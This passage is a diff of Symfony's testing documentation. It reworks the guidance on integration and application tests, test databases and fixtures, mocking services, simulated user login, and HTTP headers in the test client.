<configuration-environments>`. This allows to have +special settings for your tests inside ``config/packages/test/``. -.. code-block:: terminal +If you have Symfony Flex installed, some packages already installed some +useful test configuration. For example, by default, the Twig bundle is +configured to be especially strict to catch errors before deploying your +code to production: - # run all tests of the application - $ php bin/phpunit +.. configuration-block:: - # run all tests in the Util/ directory - $ php bin/phpunit tests/Util + .. code-block:: yaml - # run tests for the Calculator class - $ php bin/phpunit tests/Util/CalculatorTest.php + # config/packages/test/twig.yaml + twig: + strict_variables: true -.. index:: - single: Tests; Functional tests + .. code-block:: xml -.. _functional-tests: + <!-- config/packages/test/twig.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:twig="http://symfony.com/schema/dic/twig" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/twig + https://symfony.com/schema/dic/twig/twig-1.0.xsd"> -Functional Tests ----------------- + <framework:config strict-variables="true"/> + </container> -Functional tests check the integration of the different layers of an -application (from the routing to the views). They are no different from unit -tests as far as PHPUnit is concerned, but they have a very specific workflow: + .. code-block:: php -* Make a request; -* Click on a link or submit a form; -* Test the response; -* Rinse and repeat. + // config/packages/test/twig.php + use Symfony\Config\TwigConfig; -Before creating your first test, install these packages that provide some of the -utilities used in the functional tests: + return static function (TwigConfig $twig): void { + $twig->strictVariables(true); + }; -.. code-block:: terminal +You can also use a different environment entirely, or override the default +debug mode (``true``) by passing each as options to the ``bootKernel()`` +method:: - $ composer require --dev symfony/browser-kit symfony/css-selector + self::bootKernel([ + 'environment' => 'my_test_env', + 'debug' => false, + ]); -Your First Functional Test -~~~~~~~~~~~~~~~~~~~~~~~~~~ -Functional tests are PHP files that typically live in the ``tests/Controller`` -directory of your application. If you want to test the pages handled by your -``PostController`` class, start by creating a new ``PostControllerTest.php`` -file that extends a special ``WebTestCase`` class. +.. tip:: -As an example, a test could look like this:: + It is recommended to run your test with ``debug`` set to ``false`` on + your CI server, as it significantly improves test performance. This + disables clearing the cache. If your tests don't run in a clean + environment each time, you have to manually clear it using for instance + this code in ``tests/bootstrap.php``:: - // tests/Controller/PostControllerTest.php - namespace App\Tests\Controller; + // ... - use Symfony\Bundle\FrameworkBundle\Test\WebTestCase; + // ensure a fresh cache when debug mode is disabled + (new \Symfony\Component\Filesystem\Filesystem())->remove(__DIR__.'/../var/cache/test'); - class PostControllerTest extends WebTestCase +Customizing Environment Variables +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you need to customize some environment variables for your tests (e.g. the +``DATABASE_URL`` used by Doctrine), you can do that by overriding anything you +need in your ``.env.test`` file: + +.. code-block:: env + + # .env.test + + # ... + DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name_test?serverVersion=8.0.37" + +In the test environment, these env files are read (if vars are duplicated +in them, files lower in the list override previous items): + +#. ``.env``: containing env vars with application defaults; +#. ``.env.test``: overriding/setting specific test values or vars; +#. ``.env.test.local``: overriding settings specific for this machine. + +.. warning:: + + The ``.env.local`` file is **not** used in the test environment, to + make each test set-up as consistent as possible. + +Retrieving Services in the Test +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +In your integration tests, you often need to fetch the service from the +service container to call a specific method. After booting the kernel, +the container is returned by ``static::getContainer()``:: + + // tests/Service/NewsletterGeneratorTest.php + namespace App\Tests\Service; + + use App\Service\NewsletterGenerator; + use Symfony\Bundle\FrameworkBundle\Test\KernelTestCase; + + class NewsletterGeneratorTest extends KernelTestCase { - public function testShowPost() + public function testSomething(): void { - $client = static::createClient(); + // (1) boot the Symfony kernel + self::bootKernel(); + + // (2) use static::getContainer() to access the service container + $container = static::getContainer(); - $client->request('GET', '/post/hello-world'); + // (3) run some service & test the result + $newsletterGenerator = $container->get(NewsletterGenerator::class); + $newsletter = $newsletterGenerator->generateMonthlyNews(/* ... */); - $this->assertEquals(200, $client->getResponse()->getStatusCode()); + $this->assertEquals('...', $newsletter->getContent()); } } -.. tip:: +The container from ``static::getContainer()`` is actually a special test container. +It gives you access to both the public services and the non-removed +:ref:`private services <container-public>`. - To run your functional tests, the ``WebTestCase`` class needs to know which - is the application kernel to bootstrap it. The kernel class is usually - defined in the ``KERNEL_CLASS`` environment variable (included in the - default ``.env.test`` file provided by Symfony): +.. note:: - If your use case is more complex, you can also override the - ``createKernel()`` or ``getKernelClass()`` methods of your functional test, - which take precedence over the ``KERNEL_CLASS`` env var. + If you need to test private services that have been removed (those who + are not used by any other services), you need to declare those private + services as public in the ``config/services_test.yaml`` file. -In the above example, you validated that the HTTP response was successful. The -next step is to validate that the page actually contains the expected content. -The ``createClient()`` method returns a client, which is like a browser that -you'll use to crawl your site:: +Mocking Dependencies +-------------------- - $crawler = $client->request('GET', '/post/hello-world'); +Sometimes it can be useful to mock a dependency of a tested service. +From the example in the previous section, let's assume the +``NewsletterGenerator`` has a dependency to a private alias +``NewsRepositoryInterface`` pointing to a private ``NewsRepository`` service +and you'd like to use a mocked ``NewsRepositoryInterface`` instead of the +concrete one:: -The ``request()`` method (read -:ref:`more about the request method <testing-request-method-sidebar>`) -returns a :class:`Symfony\\Component\\DomCrawler\\Crawler` object which can -be used to select elements in the response, click on links and submit forms. + // ... + use App\Contracts\Repository\NewsRepositoryInterface; -.. tip:: + class NewsletterGeneratorTest extends KernelTestCase + { + public function testSomething(): void + { + // ... same bootstrap as the section above - The ``Crawler`` only works when the response is an XML or an HTML document. - To get the raw content response, call ``$client->getResponse()->getContent()``. + $newsRepository = $this->createMock(NewsRepositoryInterface::class); + $newsRepository->expects(self::once()) + ->method('findNewsFromLastMonth') + ->willReturn([ + new News('some news'), + new News('some other news'), + ]) + ; -The crawler integrates with the ``symfony/css-selector`` component to give you the -power of CSS selectors to find content in a page. To install the CSS selector -component, run: + $container->set(NewsRepositoryInterface::class, $newsRepository); -.. code-block:: terminal + // will be injected the mocked repository + $newsletterGenerator = $container->get(NewsletterGenerator::class); - $ composer require --dev symfony/css-selector + // ... + } + } -Now you can use CSS selectors with the crawler. To assert that the phrase -"Hello World" is present in the page's main title, you can use this assertion:: +No further configuration is required, as the test service container is a special one +that allows you to interact with private services and aliases. - $this->assertSelectorTextContains('html h1.title', 'Hello World'); +.. _testing-databases: -This assertion checks if the first element matching the CSS selector contains -the given text. This assert calls ``$crawler->filter('html h1.title')`` -internally, which allows you to use CSS selectors to filter any HTML element in -the page and check for its existence, attributes, text, etc. +Configuring a Database for Tests +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -The ``assertSelectorTextContains`` method is not a native PHPUnit assertion and is -available thanks to the ``WebTestCase`` class. +Tests that interact with the database should use their own separate +database to not mess with the databases used in the other +:ref:`configuration environments <configuration-environments>`. -The crawler can also be used to interact with the page. Click on a link by first -selecting it with the crawler using either an XPath expression or a CSS selector, -then use the client to click on it:: +To do that, edit or create the ``.env.test.local`` file at the root +directory of your project and define the new value for the ``DATABASE_URL`` +env var: - $link = $crawler - ->filter('a:contains("Greet")') // find all links with the text "Greet" - ->eq(1) // select the second link in the list - ->link() - ; +.. code-block:: env - // and click it - $crawler = $client->click($link); + # .env.test.local + DATABASE_URL="mysql://USERNAME:PASSWORD@127.0.0.1:3306/DB_NAME?serverVersion=8.0.37" -Submitting a form is very similar: select a form button, optionally override -some form values and submit the corresponding form:: +This assumes that each developer/machine uses a different database for the +tests. If the test set-up is the same on each machine, use the ``.env.test`` +file instead and commit it to the shared repository. Learn more about +:ref:`using multiple .env files in Symfony applications <configuration-multiple-env-files>`. - $form = $crawler->selectButton('submit')->form(); +After that, you can create the test database and all tables using: - // set some values - $form['name'] = 'Lucas'; - $form['form_name[subject]'] = 'Hey there!'; +.. code-block:: terminal + + # create the test database + $ php bin/console --env=test doctrine:database:create - // submit the form - $crawler = $client->submit($form); + # create the tables/columns in the test database + $ php bin/console --env=test doctrine:schema:create .. tip:: - The form can also handle uploads and contains methods to fill in different types - of form fields (e.g. ``select()`` and ``tick()``). For details, see the - `Forms`_ section below. + You can run these commands to create the database during the + :doc:`test bootstrap process <testing/bootstrap>`. -Now that you can navigate through an application, use assertions to test -that it actually does what you expect it to. Use the Crawler to make assertions -on the DOM:: +.. tip:: - // asserts that the response matches a given CSS selector. - $this->assertGreaterThan(0, $crawler->filter('h1')->count()); + A common practice is to append the ``_test`` suffix to the original + database names in tests. If the database name in production is called + ``project_acme`` the name of the testing database could be + ``project_acme_test``. -Or test against the response content directly if you just want to assert that -the content contains some text or in case that the response is not an XML/HTML -document:: +Resetting the Database Automatically Before each Test +..................................................... - $this->assertStringContainsString( - 'Hello World', - $client->getResponse()->getContent() - ); +Tests should be independent from each other to avoid side effects. For +example, if some test modifies the database (by adding or removing an +entity) it could change the results of other tests. -.. tip:: +The `DAMADoctrineTestBundle`_ uses Doctrine transactions to let each test +interact with an unmodified database. Install it using: - Instead of installing each testing dependency individually, you can use the - ``test`` :ref:`Symfony pack <symfony-packs>` to install all those dependencies at once: +.. code-block:: terminal - .. code-block:: terminal + $ composer require --dev dama/doctrine-test-bundle - $ composer require --dev symfony/test-pack +Now, enable it as a PHPUnit extension: -.. index:: - single: Tests; Assertions +.. code-block:: xml -.. sidebar:: Useful Assertions + <!-- phpunit.dist.xml --> + <phpunit> + <!-- ... --> - To get you started faster, here is a list of the most common and - useful test assertions:: + <extensions> + <!-- use this with PHPUnit 10 or newer --> + <bootstrap class="DAMA\DoctrineTestBundle\PHPUnit\PHPUnitExtension"/> + <!-- use this with legacy PHPUnit versions older than 10 --> + <extension class="DAMA\DoctrineTestBundle\PHPUnit\PHPUnitExtension"/> + </extensions> + </phpunit> - use Symfony\Component\HttpFoundation\Response; +That's it! This bundle uses a clever trick: it begins a database +transaction before every test and rolls it back automatically after the +test finishes to undo all changes. Read more in the documentation of the +`DAMADoctrineTestBundle`_. - // ... +.. _doctrine-fixtures: - // asserts that there is at least one h2 tag with the class "subtitle" - // the third argument is an optional message shown on failed tests - $this->assertGreaterThan(0, $crawler->filter('h2.subtitle')->count(), - 'There is at least one subtitle' - ); - - // asserts that there are exactly 4 h2 tags on the page - $this->assertCount(4, $crawler->filter('h2')); - - // asserts that the "Content-Type" header is "application/json" - $this->assertResponseHeaderSame('Content-Type', 'application/json'); - // equivalent to: - $this->assertTrue($client->getResponse()->headers->contains( - 'Content-Type', 'application/json' - )); - - // asserts that the response content contains a string - $this->assertStringContainsString('foo', $client->getResponse()->getContent()); - // ...or matches a regex - $this->assertRegExp('/foo(bar)?/', $client->getResponse()->getContent()); - - // asserts that the response status code is 2xx - $this->assertResponseIsSuccessful(); - // equivalent to: - $this->assertTrue($client->getResponse()->isSuccessful()); - - // asserts that the response status code is 404 Not Found - $this->assertTrue($client->getResponse()->isNotFound()); - - // asserts a specific status code - $this->assertResponseStatusCodeSame(201); - // HTTP status numbers are available as constants too: - // e.g. 201 === Symfony\Component\HttpFoundation\Response::HTTP_CREATED - // equivalent to: - $this->assertEquals(201, $client->getResponse()->getStatusCode()); - - // asserts that the response is a redirect to /demo/contact - $this->assertResponseRedirects('/demo/contact'); - // equivalent to: - $this->assertTrue($client->getResponse()->isRedirect('/demo/contact')); - // ...or check that the response is a redirect to any URL - $this->assertResponseRedirects(); - -.. _testing-data-providers: - -Testing against Different Sets of Data --------------------------------------- - -It's common to have to execute the same test against different sets of data to -check the multiple conditions code must handle. This is solved with PHPUnit's -`data providers`_, which work both for unit and functional tests. - -First, add one or more arguments to your test method and use them inside the -test code. Then, define another method which returns a nested array with the -arguments to use on each test run. Lastly, add the ``@dataProvider`` annotation -to associate both methods:: - - /** - * @dataProvider provideUrls - */ - public function testPageIsSuccessful($url) - { - $client = self::createClient(); - $client->request('GET', $url); +Load Test Data Fixtures +....................... - $this->assertTrue($client->getResponse()->isSuccessful()); - } +Instead of using the real data from the production database, it's common to +use fake or test data in the test database. This is usually called +*"fixtures data"* and Doctrine provides a library to create and load them. +Install it with: - public function provideUrls() - { - return [ - ['/'], - ['/blog'], - ['/contact'], - // ... - ]; - } +.. code-block:: terminal -.. index:: - single: Tests; Client + $ composer require --dev doctrine/doctrine-fixtures-bundle -Working with the Test Client ----------------------------- +Then, use the ``make:fixtures`` command of the `SymfonyMakerBundle`_ to +generate an empty fixture class: -The test client simulates an HTTP client like a browser and makes requests -into your Symfony application:: +.. code-block:: terminal - $crawler = $client->request('GET', '/post/hello-world'); + $ php bin/console make:fixtures -The ``request()`` method takes the HTTP method and a URL as arguments and -returns a ``Crawler`` instance. + The class name of the fixtures to create (e.g. AppFixtures): + > ProductFixture -.. tip:: +Then you modify and use this class to load new entities in the database. For +instance, to load ``Product`` objects into Doctrine, use:: - Hardcoding the request URLs is a best practice for functional tests. If the - test generates URLs using the Symfony router, it won't detect any change - made to the application URLs which may impact the end users. - -.. _testing-request-method-sidebar: - -.. sidebar:: More about the ``request()`` Method: - - The full signature of the ``request()`` method is:: - - request( - string $method, - string $uri, - array $parameters = [], - array $files = [], - array $server = [], - string $content = null, - bool $changeHistory = true - ) - - The ``server`` array is the raw values that you'd expect to normally - find in the PHP `$_SERVER`_ superglobal. For example, to set the - ``Content-Type`` and ``Referer`` HTTP headers, you'd pass the following (mind - the ``HTTP_`` prefix for non standard headers):: - - $client->request( - 'GET', - '/post/hello-world', - [], - [], - [ - 'CONTENT_TYPE' => 'application/json', - 'HTTP_REFERER' => '/foo/bar', - ] - ); - -Use the crawler to find DOM elements in the response. These elements can then -be used to click on links and submit forms:: - - $crawler = $client->clickLink('Go elsewhere...'); - - $crawler = $client->submitForm('validate', ['name' => 'Fabien']); - -The ``clickLink()`` and ``submitForm()`` methods both return a ``Crawler`` object. -These methods are the best way to browse your application as it takes care -of a lot of things for you, like detecting the HTTP method from a form and -giving you a nice API for uploading files. - -The ``request()`` method can also be used to simulate form submissions directly -or perform more complex requests. Some useful examples:: - - // submits a form directly (but using the Crawler is easier!) - $client->request('POST', '/submit', ['name' => 'Fabien']); - - // submits a raw JSON string in the request body - $client->request( - 'POST', - '/submit', - [], - [], - ['CONTENT_TYPE' => 'application/json'], - '{"name":"Fabien"}' - ); - - // Form submission with a file upload - use Symfony\Component\HttpFoundation\File\UploadedFile; - - $photo = new UploadedFile( - '/path/to/photo.jpg', - 'photo.jpg', - 'image/jpeg', - null - ); - $client->request( - 'POST', - '/submit', - ['name' => 'Fabien'], - ['photo' => $photo] - ); - - // Perform a DELETE request and pass HTTP headers - $client->request( - 'DELETE', - '/post/12', - [], - [], - ['PHP_AUTH_USER' => 'username', 'PHP_AUTH_PW' => 'pa$$word'] - ); - -Last but not least, you can force each request to be executed in its own PHP -process to avoid any side effects when working with several clients in the same -script:: - - $client->insulate(); - -AJAX Requests -~~~~~~~~~~~~~ - -The Client provides a :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::xmlHttpRequest` -method, which has the same arguments as the ``request()`` method, and it's a -shortcut to make AJAX requests:: + // src/DataFixtures/ProductFixture.php + namespace App\DataFixtures; - // the required HTTP_X_REQUESTED_WITH header is added automatically - $client->xmlHttpRequest('POST', '/submit', ['name' => 'Fabien']); + use App\Entity\Product; + use Doctrine\Bundle\FixturesBundle\Fixture; + use Doctrine\Persistence\ObjectManager; -Browsing -~~~~~~~~ + class ProductFixture extends Fixture + { + public function load(ObjectManager $manager): void + { + $product = new Product(); + $product->setName('Priceless widget'); + $product->setPrice(14.50); + $product->setDescription('Ok, I guess it *does* have a price'); + $manager->persist($product); -The Client supports many operations that can be done in a real browser:: + // add more products - $client->back(); - $client->forward(); - $client->reload(); + $manager->flush(); + } + } - // clears all cookies and the history - $client->restart(); +Empty the database and reload *all* the fixture classes with: -.. note:: +.. code-block:: terminal - The ``back()`` and ``forward()`` methods skip the redirects that may have - occurred when requesting a URL, as normal browsers do. + $ php bin/console --env=test doctrine:fixtures:load -Accessing Internal Objects -~~~~~~~~~~~~~~~~~~~~~~~~~~ +For more information, read the `DoctrineFixturesBundle documentation`_. -If you use the client to test your application, you might want to access the -client's internal objects:: +.. _functional-tests: - $history = $client->getHistory(); - $cookieJar = $client->getCookieJar(); +Application Tests +----------------- -You can also get the objects related to the latest request:: +Application tests check the integration of all the different layers of the +application (from the routing to the views). They are no different from +unit tests or integration tests as far as PHPUnit is concerned, but they +have a very specific workflow: - // the HttpKernel request instance - $request = $client->getRequest(); +#. :ref:`Make a request <testing-applications-arrange>`; +#. :ref:`Interact with the page <testing-applications-act>` (e.g. click on a link or submit a form); +#. :ref:`Test the response <testing-application-assertions>`; +#. Rinse and repeat. - // the BrowserKit request instance - $request = $client->getInternalRequest(); +.. note:: - // the HttpKernel response instance - $response = $client->getResponse(); + The tools used in this section can be installed via the ``symfony/test-pack``, + use ``composer require symfony/test-pack`` if you haven't done so already. - // the BrowserKit response instance - $response = $client->getInternalResponse(); +Write Your First Application Test +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // the Crawler instance - $crawler = $client->getCrawler(); +Application tests are PHP files that typically live in the ``tests/Controller/`` +directory of your application. They often extend +:class:`Symfony\\Bundle\\FrameworkBundle\\Test\\WebTestCase`. This class +adds special logic on top of the ``KernelTestCase``. You can read more +about that in the above :ref:`section on integration tests <integration-tests>`. -Accessing the Container -~~~~~~~~~~~~~~~~~~~~~~~ +If you want to test the pages handled by your +``PostController`` class, start by creating a new ``PostControllerTest`` +using the ``make:test`` command of the `SymfonyMakerBundle`_: -It's highly recommended that a functional test only tests the response. But -under certain very rare circumstances, you might want to access some services -to write assertions. Given that services are private by default, test classes -define a property that stores a special container created by Symfony which -allows fetching both public and all non-removed private services:: +.. code-block:: terminal - // gives access to the same services used in your test, unless you're using - // $client->insulate() or using real HTTP requests to test your application - // don't forget to call self::bootKernel() before, otherwise, the container - // will be empty - $container = self::$container; + $ php bin/console make:test -For a list of services available in your application, use the ``debug:container`` -command. + Which test type would you like?: + > WebTestCase -If a private service is *never* used in your application (outside of your test), -it is *removed* from the container and cannot be accessed as described above. In -that case, you can create a public alias in the ``test`` environment and access -it via that alias: + The name of the test class (e.g. BlogPostTest): + > Controller\PostControllerTest -.. configuration-block:: +This creates the following test class:: - .. code-block:: yaml + // tests/Controller/PostControllerTest.php + namespace App\Tests\Controller; - # config/services_test.yaml - services: - # access the service in your test via - # self::$container->get('test.App\Test\SomeTestHelper') - test.App\Test\SomeTestHelper: - # the id of the private service - alias: 'App\Test\SomeTestHelper' - public: true + use Symfony\Bundle\FrameworkBundle\Test\WebTestCase; - .. code-block:: xml + class PostControllerTest extends WebTestCase + { + public function testSomething(): void + { + // This calls KernelTestCase::bootKernel(), and creates a + // "client" that is acting as the browser + $client = static::createClient(); - <!-- config/services_test.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd"> + // Request a specific page + $crawler = $client->request('GET', '/'); - <services> - <!-- ... --> + // Validate a successful response and some content + $this->assertResponseIsSuccessful(); + $this->assertSelectorTextContains('h1', 'Hello World'); + } + } - <service id="test.App\Test\SomeTestHelper" alias="App\Test\SomeTestHelper" public="true"/> - </services> - </container> +In the above example, the test validates that the HTTP response was successful +and the request body contains a ``<h1>`` tag with ``"Hello world"``. - .. code-block:: php +The ``request()`` method also returns a crawler, which you can use to +create more complex assertions in your tests (e.g. to count the number of page +elements that match a given CSS selector):: - // config/services_test.php - namespace Symfony\Component\DependencyInjection\Loader\Configurator; + $crawler = $client->request('GET', '/post/hello-world'); + $this->assertCount(4, $crawler->filter('.comment')); - use App\Service\MessageGenerator; - use App\Service\SiteUpdateManager; +You can learn more about the crawler in :doc:`/testing/dom_crawler`. - return function(ContainerConfigurator $configurator) { - // ... +.. _testing-applications-arrange: - $services->alias('test.App\Test\SomeTestHelper', 'App\Test\SomeTestHelper')->public(); - }; +Making Requests +~~~~~~~~~~~~~~~ + +The test client simulates an HTTP client like a browser and makes requests +into your Symfony application:: + + $crawler = $client->request('GET', '/post/hello-world'); + +The :method:`request() <Symfony\\Component\\BrowserKit\\AbstractBrowser::request>` method takes the HTTP method and a URL as arguments and +returns a ``Crawler`` instance. .. tip:: - The special container that gives access to private services exists only in - the ``test`` environment and is itself a service that you can get from the - real container using the ``test.service_container`` id. + Hardcoding the request URLs is a best practice for application tests. + If the test generates URLs using the Symfony router, it won't detect + any change made to the application URLs which may impact the end users. + +The full signature of the ``request()`` method is:: + + public function request( + string $method, + string $uri, + array $parameters = [], + array $files = [], + array $server = [], + ?string $content = null, + bool $changeHistory = true + ): Crawler + +This allows you to create all types of requests you can think of: .. tip:: - If the information you need to check is available from the profiler, use - it instead. + The test client is available as the ``test.client`` service in the + container in the ``test`` environment (or wherever the + :ref:`framework.test <reference-framework-test>` option is enabled). + This means you can override the service entirely if you need to. -.. _testing_logging_in_users: +Multiple Requests in One Test +............................. -Logging in Users (Authentication) -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +After making a request, subsequent requests will make the client reboot the kernel. +This recreates the container from scratch to ensures that requests are isolated +and use new service objects each time. This behavior can have some unexpected +consequences: for example, the security token will be cleared, Doctrine entities +will be detached, etc. + +First, you can call the client's :method:`Symfony\\Bundle\\FrameworkBundle\\KernelBrowser::disableReboot` +method to reset the kernel instead of rebooting it. In practice, Symfony +will call the ``reset()`` method of every service tagged with ``kernel.reset``. +However, this will **also** clear the security token, detach Doctrine entities, etc. + +In order to solve this issue, create a :doc:`compiler pass </service_container/compiler_passes>` +to remove the ``kernel.reset`` tag from some services in your test environment:: + + // src/Kernel.php + namespace App; + + use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait; + use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface; + use Symfony\Component\DependencyInjection\ContainerBuilder; + use Symfony\Component\HttpKernel\Kernel as BaseKernel; + + class Kernel extends BaseKernel implements CompilerPassInterface + { + use MicroKernelTrait; + + // ... + + public function process(ContainerBuilder $container): void + { + if ('test' === $this->environment) { + // prevents the security token to be cleared + $container->getDefinition('security.token_storage')->clearTag('kernel.reset'); + + // prevents Doctrine entities to be detached + $container->getDefinition('doctrine')->clearTag('kernel.reset'); + + // ... + } + } + } + +Browsing the Site +................. + +The Client supports many operations that can be done in a real browser:: + + $client->back(); + $client->forward(); + $client->reload(); + + // clears all cookies and the history + $client->restart(); + +.. note:: + + The ``back()`` and ``forward()`` methods skip the redirects that may have + occurred when requesting a URL, as normal browsers do. + +Redirecting +........... + +When a request returns a redirect response, the client does not follow +it automatically. You can examine the response and force a redirection +afterwards with the ``followRedirect()`` method:: + + $crawler = $client->followRedirect(); + +If you want the client to automatically follow all redirects, you can +force them by calling the ``followRedirects()`` method before performing the request:: + + $client->followRedirects(); + +If you pass ``false`` to the ``followRedirects()`` method, the redirects +will no longer be followed:: -.. versionadded:: 5.1 + $client->followRedirects(false); - The ``loginUser()`` method was introduced in Symfony 5.1. +.. _testing_logging_in_users: -When you want to add functional tests for protected pages, you have to +Logging in Users (Authentication) +................................. + +When you want to add application tests for protected pages, you have to first "login" as a user. Reproducing the actual steps - such as -submitting a login form - make a test very slow. For this reason, Symfony -provides a ``loginUser()`` method to simulate logging in in your functional +submitting a login form - makes a test very slow. For this reason, Symfony +provides a ``loginUser()`` method to simulate logging in your functional tests. -Instead of login in with real users, it's recommended to create a user only for -tests. You can do that with Doctrine :ref:`data fixtures <user-data-fixture>`, -to load the testing users only in the test database. +Instead of logging in with real users, it's recommended to create a user +only for tests. You can do that with `Doctrine data fixtures`_ to load the +testing users only in the test database. After loading users in your database, use your user repository to fetch this user and use @@ -642,10 +691,10 @@ to simulate a login request:: { // ... - public function testVisitingWhileLoggedIn() + public function testVisitingWhileLoggedIn(): void { $client = static::createClient(); - $userRepository = static::$container->get(UserRepository::class); + $userRepository = static::getContainer()->get(UserRepository::class); // retrieve the test user $testUser = $userRepository->findOneByEmail('john.doe@example.com'); @@ -664,158 +713,149 @@ You can pass any :class:`Symfony\\Component\\Security\\Core\\User\\UserInterface` instance to ``loginUser()``. This method creates a special :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\TestBrowserToken` object and -stores in the session of the test client. +stores in the session of the test client. If you need to define custom +attributes in this token, you can use the ``tokenAttributes`` argument of the +:method:`Symfony\\Bundle\\FrameworkBundle\\KernelBrowser::loginUser` method. -Accessing the Profiler Data -~~~~~~~~~~~~~~~~~~~~~~~~~~~ +You can also use an :ref:`in-memory user <security-memory-user-provider>` in your tests +by instantiating :class:`Symfony\\Component\\Security\\Core\\User\\InMemoryUser` directly:: -On each request, you can enable the Symfony profiler to collect data about the -internal handling of that request. For example, the profiler could be used to -verify that a given page runs less than a certain number of database -queries when loading. + // tests/Controller/ProfileControllerTest.php + use Symfony\Component\Security\Core\User\InMemoryUser; -To get the Profiler for the last request, do the following:: + $client = static::createClient(); + $testUser = new InMemoryUser('admin', 'password', ['ROLE_ADMIN']); + $client->loginUser($testUser); - // enables the profiler for the very next request - $client->enableProfiler(); +Before doing this, you must define the in-memory user in your test environment +configuration to ensure it exists and can be authenticated:: - $crawler = $client->request('GET', '/profiler'); +.. code-block:: yaml - // gets the profile - $profile = $client->getProfile(); + # config/packages/security.yaml + when@test: + security: + users_in_memory: + memory: + users: + admin: { password: password, roles: ROLE_ADMIN } -For specific details on using the profiler inside a test, see the -:doc:`/testing/profiling` article. +To set a specific firewall (``main`` is set by default):: -Redirecting -~~~~~~~~~~~ + $client->loginUser($testUser, 'my_firewall'); -When a request returns a redirect response, the client does not follow -it automatically. You can examine the response and force a redirection -afterwards with the ``followRedirect()`` method:: +.. note:: - $crawler = $client->followRedirect(); + By design, the ``loginUser()`` method doesn't work when using stateless firewalls. + Instead, add the appropriate token/header in each ``request()`` call. -If you want the client to automatically follow all redirects, you can -force them by calling the ``followRedirects()`` method before performing the request:: +Making AJAX Requests +.................... - $client->followRedirects(); +The client provides an +:method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::xmlHttpRequest` +method, which has the same arguments as the ``request()`` method and is +a shortcut to make AJAX requests:: -If you pass ``false`` to the ``followRedirects()`` method, the redirects -will no longer be followed:: + // the required HTTP_X_REQUESTED_WITH header is added automatically + $client->xmlHttpRequest('POST', '/submit', ['name' => 'Fabien']); - $client->followRedirects(false); +.. _sending-custom-headers: + +Sending Custom HTTP Headers +........................... + +If your application behaves according to some HTTP headers, pass them as the +second argument of ``createClient()``:: + + $client = static::createClient([], [ + 'HTTP_HOST' => 'en.example.com', + 'HTTP_USER_AGENT' => 'MySuperBrowser/1.0', + ]); + +You can also override HTTP headers on a per request basis:: + + $client->request('GET', '/', [], [], [ + 'HTTP_HOST' => 'en.example.com', + 'HTTP_USER_AGENT' => 'MySuperBrowser/1.0', + ]); + +.. warning:: + + The name of your custom headers must follow the syntax defined in the + `section 4.1.18 of RFC 3875`_: replace ``-`` by ``_``, transform it into + uppercase and prefix the result with ``HTTP_``. For example, if your + header name is ``X-Session-Token``, pass ``HTTP_X_SESSION_TOKEN``. Reporting Exceptions -~~~~~~~~~~~~~~~~~~~~ +.................... -Debugging exceptions in functional tests may be difficult because by default +Debugging exceptions in application tests may be difficult because by default they are caught and you need to look at the logs to see which exception was thrown. Disabling catching of exceptions in the test client allows the exception to be reported by PHPUnit:: $client->catchExceptions(false); -.. index:: - single: Tests; Crawler - -.. _testing-crawler: - -The Crawler ------------ - -A Crawler instance is returned each time you make a request with the Client. -It allows you to traverse HTML documents, select nodes, find links and forms. - -Traversing -~~~~~~~~~~ - -Like jQuery, the Crawler has methods to traverse the DOM of an HTML/XML -document. For example, the following finds all ``input[type=submit]`` elements, -selects the last one on the page, and then selects its immediate parent element:: - - $newCrawler = $crawler->filter('input[type=submit]') - ->last() - ->parents() - ->first() - ; - -Many other methods are also available: - -``filter('h1.title')`` - Nodes that match the CSS selector. -``filterXpath('h1')`` - Nodes that match the XPath expression. -``eq(1)`` - Node for the specified index. -``first()`` - First node. -``last()`` - Last node. -``siblings()`` - Siblings. -``nextAll()`` - All following siblings. -``previousAll()`` - All preceding siblings. -``parents()`` - Returns the parent nodes. -``children()`` - Returns children nodes. -``reduce($lambda)`` - Nodes for which the callable does not return false. - -Since each of these methods returns a new ``Crawler`` instance, you can -narrow down your node selection by chaining the method calls:: - - $crawler - ->filter('h1') - ->reduce(function ($node, $i) { - if (!$node->attr('class')) { - return false; - } - }) - ->first() - ; +Accessing Internal Objects +.......................... -.. tip:: +If you use the client to test your application, you might want to access the +client's internal objects:: - Use the ``count()`` function to get the number of nodes stored in a Crawler: - ``count($crawler)`` + $history = $client->getHistory(); + $cookieJar = $client->getCookieJar(); -Extracting Information -~~~~~~~~~~~~~~~~~~~~~~ +You can also get the objects related to the latest request:: + + // the HttpKernel request instance + $request = $client->getRequest(); + + // the BrowserKit request instance + $request = $client->getInternalRequest(); + + // the HttpKernel response instance + $response = $client->getResponse(); -The Crawler can extract information from the nodes:: + // the BrowserKit response instance + $response = $client->getInternalResponse(); - use Symfony\Component\DomCrawler\Crawler; - - // returns the attribute value for the first node - $crawler->attr('class'); + // the Crawler instance + $crawler = $client->getCrawler(); - // returns the node value for the first node - $crawler->text(); +Accessing the Profiler Data +........................... - // returns the default text if the node does not exist - $crawler->text('Default text content'); +On each request, you can enable the Symfony profiler to collect data about the +internal handling of that request. For example, the profiler could be used to +verify that a given page runs less than a certain number of database +queries when loading. - // pass TRUE as the second argument of text() to remove all extra white spaces, including - // the internal ones (e.g. " foo\n bar baz \n " is returned as "foo bar baz") - $crawler->text(null, true); +To get the profiler for the last request, do the following:: - // extracts an array of attributes for all nodes - // (_text returns the node value) - // returns an array for each element in crawler, - // 